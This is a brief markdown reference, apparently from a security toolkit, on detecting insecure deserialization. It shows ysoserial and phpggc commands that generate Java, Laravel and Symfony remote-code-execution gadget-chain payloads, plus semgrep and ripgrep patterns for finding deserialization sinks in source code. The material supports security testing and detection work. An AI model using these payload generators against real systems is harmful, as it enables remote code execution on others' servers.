<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Detecting Insecure Deserialization

## ysoserial — Java Gadget Chains
```bash
java -jar ysoserial.jar CommonsCollections1 "command" | base64 -w0
java -jar ysoserial.jar Spring1 "command" > payload.bin
```

## phpggc — PHP Gadget Chains
```bash
phpggc Laravel/RCE1 system "id" -b
phpggc Symfony/RCE4 exec "id"
phpggc -l  # List available chains
```

## semgrep — Deserialization Detection
```bash
semgrep --config=p/owasp-top-ten src/ | grep -i deserializ
rg "pickle\.loads|yaml\.load\b|readObject|unserialize" src/
```
